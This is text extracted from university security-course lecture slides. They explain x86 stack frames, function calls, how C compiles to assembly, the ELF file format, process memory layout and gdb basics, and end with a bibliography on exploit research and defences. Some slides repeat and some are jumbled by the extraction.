%eax = x %ebx = y %ecx = z

Stack Layout
An example
Top of the stack
push %eax
push %ebx
push %ecx
pop %eax
pop %ecx
pop %ebx
x
y
0xbffeaffc 0xbffeaff8 0xbffeaff4 0xbffeaff0 0xbffeafec
← %esp
4 bytes
Lorenzo Cavallaro (S2 Lab)
7CCSMSEN
54 / 75
%eax = z %ebx = y %ecx = z

Stack Layout
An example
Top of the stack
push %eax
push %ebx
push %ecx
pop %eax
pop %ecx
pop %ebx
x
0xbffeaffc 0xbffeaff8 0xbffeaff4 0xbffeaff0 0xbffeafec
← %esp
4 bytes
Lorenzo Cavallaro (S2 Lab)
7CCSMSEN
54 / 75
%eax = z %ebx = y %ecx = y

Stack Layout
An example
0xbffeaffc 0xbffeaff8 0xbffeaff4 0xbffeaff0 0xbffeafec
← %esp
Top of the stack
push %eax
push %ebx
push %ecx
pop %eax
pop %ecx
pop %ebx
%eax = z %ebx = x %ecx = y
4 bytes
Lorenzo Cavallaro (S2 Lab)
7CCSMSEN
54 / 75

Frames and Function Invocation I
The stack is composed of frames
Frames are pushed on the stack as a consequence of function calls (function prologue) The address of the current frame is stored in the Frame Pointer (FP) register
On Intel architectures %ebp is used for this purpose Each frame contains
The function’s actual parameters
The return address to jump to at the end of the function The pointer to the previous frame
Function’s local variables
Warning: compiler optimization may eliminate stack frames
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 55 / 75

Frames and Function Invocation II
int convert(char *str) {
int result = atoi(str); return result;
}
int main(int argc, char **argv) {
int sum, i;
for (i = 0; i < argc; i++) sum += convert(argv[i]); printf("sum=%d\n", sum); return 0; } 56/75 0xbfff8000 argv 0xbfff7ffc 0xbfff7ff8 0xbfff7ff4 0xbfff7ff0 0xbfff7fec 0xbfff7fe8 0xbfff7fe4 0xbfff7fe0 0xbfff7fdc result 0xbfff7fe0 0xbfff7LfodrcenzoreCtuarvnalaladrdores(Ss fLroamb)atoi (to convert) pushedbymain'scaller pushedbymain pushed by convert 7CCSMSEN argc i return address from main frame pointer before main was called sum str return address from convert (to main) frame pointer before convert was called (0xbfff7ff4) parameter to atoi 2 Function Invocation 1 The caller pushes the parameters on the stack 2 The caller saves the return address on the stack, and then it jumps to the callee (e.g., call )
3 The callee executes a prologue, that consists of the following operations: Save %ebp on the stack
%ebp = %esp
Allocate space for local variables
A prologue typically consists of the following instructions:
push %ebp
mov %esp, %ebp sub $n, %esp
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN
57 / 75

Function Invocation
1 The caller pushes the parameters on the stack
2 The caller saves the return address on the stack, and then it jumps to the callee (e.g., call )
3 The callee executes a prologue, that consists of the following operations: Save %ebp on the stack
%ebp = %esp
Allocate space for local variables
A prologue typically consists of the following instructions:
push %ebp
mov %esp, %ebp sub $n, %esp
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN
57 / 75

Function Termination
The callee executes an epilogue:
1 Deallocate local variables (%esp = %ebp)
2 Saves the results (if any) in the %eax register
3 Restore the base pointer of the caller function
4 Resume the execution from the saved return address
An epilogue typically consists of the following instructions:
leave ret
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 58 / 75

Function Invocation & Termination
An example
1 /∗ hello.c ∗/
2
3 void foo(int n)
4{
5 printf(”argument: %d;\n”, n); 6}
7
8 int main(int argc, char ∗∗argv) 9{
10 foo(10);
11 return 0;
12 }
main()
1 lea 0x4(%esp),%ecx
2 and $0xfffffff0,%esp
3 pushl −0x4(%ecx)
4 push %ebp
5 mov %esp,%ebp
6 push %ecx
7 sub $0x4,%esp
8 movl $0xa,(%esp)
9 call 0x8048374
10 mov $0x0,%eax
11 add $0x4,%esp
12 pop %ecx
13 pop %ebp
14 lea −0x4(%ecx),%esp
15 ret
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 59 / 75
1 push %ebp
2 mov %esp,%ebp
3 sub $0x8,%esp
4 mov 0x8(%ebp),%eax
5 mov %eax,0x4(%esp)
6 movl $0x8048480,(%esp)
7 call 0x80482d8 8 leave
9 ret
foo()

if Statement
#include
int main(int argc, char **argv)
{
int a;
if(a < 0) { printf("A < 0\n"); } else { printf("A >= 0\n”);
}
}
.LC0:
.string “A < 0\n" .LC1: .string "A >= 0\n”
main:
[ function prologue ]
cmpl $0,-4(%ebp)/*s=a-0*/ jns .L2 /* if sign bit is not
movl $.LC0, (%esp)
call printf
jmp .L3
.L2:
movl $.LC1, (%esp)
call printf
.L3: leave
ret
set */
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN
60 / 75

while Statement
#include
int main(int argc, char **argv)
{
int i;
i = 0;
while(i < 10) { printf("%d\n", i); i++; } } .LC0: .string "%d\n" main: [ function prologue ] movl $0, -4(%ebp) .L2: cmpl $9, -4(%ebp) jle .L4 jmp .L3 .L4: movl -4(%ebp), %eax movl %eax, 4(%esp) movl $.LC0, (%esp) call printf leal -4(%ebp), %eax incl (%eax) jmp .L2 .L3: leave ret Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 61 / 75 Part V Processes Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 62 / 75 A Program’s Life (Design) Development, usually in a high-level language Compilation/translation into binary form (object form) by a compiler or assembler Programs in interpreted languages are translated into an intermediate format Execution by a process Termination Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 63 / 75 Object Files Object files include applications and libraries Object files in general contain: The code, in binary format Relocation information about things that need to be fixed once the code and the data are loaded into memory Information about the symbols defined by the object file and the symbols that are imported from different objects Optionally, debugging information Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 64 / 75 Linking Linking is the process of resolving references that a program has to external objects (variables, functions) Static linking is performed at compile-time Dynamic linking is performed at run-time Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 65 / 75 The ELF File Format I The Executable and Linkable Format (ELF) is one of the most used binary object formats ELF files are of three types relocatable: need to be fixed by the linker before being executed executable: ready for execution (all symbols have been resolved with the exception of those related to shared libs) shared objects: shared libraries with the appropriate linking information Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 66 / 75 The ELF File Format II A program is seen as a collection of segments by the loader and as a collection of sections by the compiler/linker A segment is usually made of several sections The segment structure is defined in the Program Header Table The section structure is defined in the Section Header Table Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 67 / 75 ELF Sections Each section contains a header that specifies the type of section and the permissions PROGBITS: Parts of the program, such as code and data NOBITS: Parts of the program that do not need space in the file, such as uninitialized data SYMTAB and DYNSYM: Symbol tables for static and dynamic linking STRTAB: The string table used to match identifiers with symbols REL and RELA: Sections that contain relocation information The flag bits are: ALLOC: the section is allocated in memory WRITE: the section is writable EXECINSTR: the section is executable Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 68 / 75 Typical ELF Sections Name .text .data .rodata .bss Description Type Flags ALLOC and EXECINSTR ALLOC and WRITE ALLOC ALLOC the program’s code PROGBITS initialized data PROGBITS read-only data PROGBITS uninitialized data NOBITS .init and .fini pre and post code PROGBITS ALLOC and EXECINSTR readelf is your friend Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 69 / 75 readelf I Elf file type is EXEC (Executable file) Entry point 0x8049cd0 There are 9 program headers, starting at offset 52 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4 INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1 [Requesting program interpreter: /lib/ld-linux.so.2] LOAD LOAD DYNAMIC NOTE GNU_EH_FRAME GNU_STACK GNU_RELRO 0x000000 0x08048000 0x08048000 0x1a020 0x1a020 R E 0x1000 0x01aef0 0x08063ef0 0x08063ef0 0x003dc 0x01030 RW 0x1000 0x01af04 0x08063f04 0x08063f04 0x000e8 0x000e8 RW 0x4 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4 0x017f50 0x0805ff50 0x0805ff50 0x0069c 0x0069c R 0x4 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 0x01aef0 0x08063ef0 0x08063ef0 0x00110 0x00110 R 0x1 Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 70/75 readelf II Section to Segment mapping: Segment Sections... 00 01 .interp 02 .interp ... .hash .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 03 .ctors .dtors .jcr .dynamic .got .got.plt .data .bss 04 .dynamic 05 .note.ABI-tag .note.gnu.build-id 06 .eh_frame_hdr 07 08 .ctors .dtors .jcr .dynamic .got Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 71 / 75 Process Structure Environment/Argument section Used for environment data Used for the command line data Stack section Used for local parameters Used for saving the processor status Heap section Used for dynamically allocated data Data section (Static/global vars) Initialized variables (.data) Uninitialized variables (.bss) Code/Text section (.text) Usually marked read-only Modifications causes segfaults Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 72 / 75 Memory Layout of a Process 0xbfffffff ENV/ARG strings ENV/ARG pointers argc heap .bss .data .text 0x08048000 Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 73 / 75 stack Tools gdb: The GNU debugger objdump: display the content of object files objdump -d prints the assembly of a file readelf: displays information about ELF files hexdump: displays the contents of binary files elfsh: manipulate ELF files
/proc//maps: shows the memory layout of a process IDA Pro: the best disassembler/analysis tool
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 74 / 75

GNU Debugger Mini Tutorial
run : run the program with step: step-by-step execution
backtrace: show the stack
print /f expr: print data
f=x print as hexadecimal, f=d print as decimal; f=a print as address
x/nfu examine memory
n repeat count, f format (similar to print), u unit size
Examples:
x/10x $esp: prints the 10 characters after the stack pointer
x/10i $eip: prints the 10 instruction after the instruction pointer x/16x 0x804997c: print 16 words at the specified address
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 75 / 75

Thanassis Avgerinos, Sang Kil Cha, Brent Lim Tze Hao, and David Brumley.
Aeg: Automatic exploit generation.
In Network and Distributed System Security Symposium, February 2011.
Sandeep Bhatkar, R. Sekar, and Daniel C. DuVarney.
Efficient techniques for comprehensive protection from memory error exploits.
In Proceedings of the 14th conference on USENIX Security Symposium – Volume 14, SSYM’05, pages 17–17, Berkeley, CA, USA, 2005. USENIX Association.
Sang Kil Cha, Thanassis Avgerinos, Alexandre Rebert, and David Brumley.
Unleashing mayhem on binary code.
In Proceedings of the 2012 IEEE Symposium on Security and Privacy, SP ’12, pages 380–394, Washington, DC, USA, 2012. IEEE Computer Society.
Benjamin Cox, David Evans, Adrian Filipi, Jonathan Rowanhill, Wei Hu, Jack Davidson, John Knight, Anh Nguyen-Tuong, and Jason Hiser.
N-variant systems: a secretless framework for security through diversity.
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 75 / 75

In Proceedings of the 15th conference on USENIX Security Symposium – Volume 15, USENIX-SS’06, Berkeley, CA, USA, 2006. USENIX Association.
Cristiano Giuffrida, Lorenzo Cavallaro, and Andrew S. Tanenbaum.
Practical automated vulnerability monitoring using program state invariants.
In DSN, pages 1–12, 2013.
Istvan Haller, Asia Slowinska, Matthias Neugschwandtner, and Herbert Bos.
Dowsing for overflows: A guided fuzzer to find buffer boundary violations.
In Proceedings of USENIX Security’13, Washington, DC, August 2013. USENIX.
Andrea Lanzi, Lorenzo Martignoni, Mattia Monga, and Roberto Paleari.
A smart fuzzer for x86 executables.
In Proceedings of the Third International Workshop on Software Engineering for Secure Systems, SESS ’07, pages 7–, Washington, DC, USA, 2007. IEEE Computer Society.
Kaan Onarlioglu, Leyla Bilge, Andrea Lanzi, Davide Balzarotti, and Engin Kirda.
G-Free : defeating return-oriented programming through gadget-less binaries.
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 75 / 75

In ACSAC 2010, Annual Computer Security Applications Conference, December 6-10, 2010, Austin, Texas, USA, Austin, UNITED STATES, 12 2010.
Vasilis Pappas, Michalis Polychronakis, and Angelos D. Keromytis.
Smashing the gadgets: Hindering return-oriented programming using in-place code randomization.
In Proceedings of the 2012 IEEE Symposium on Security and Privacy, SP ’12, pages 601–615, Washington, DC, USA, 2012. IEEE Computer Society.
Edward J. Schwartz, Thanassis Avgerinos, and David Brumley.
Q: exploit hardening made easy.
In Proceedings of the 20th USENIX conference on Security, SEC’11, pages 25–25, Berkeley, CA, USA, 2011. USENIX Association.
Wei Xu, Sandeep Bhatkar, and R. Sekar.
Taint-enhanced policy enforcement: a practical approach to defeat a wide range of attacks.
In Proceedings of the 15th conference on USENIX Security Symposium – Volume 15,
USENIX-SS’06, Berkeley, CA, USA, 2006. USENIX Association.
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 75 / 75

Yves Younan, Pieter Philippaerts, Lorenzo Cavallaro, R. Sekar, Frank Piessens, and Wouter Joosen.
Paricheck: an efficient pointer arithmetic checker for c programs.
In Proceedings of the 5th ACM Symposium on Information, Computer and Communications Security, ASIACCS ’10, pages 145–156, New York, NY, USA, 2010. ACM.
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 75 / 75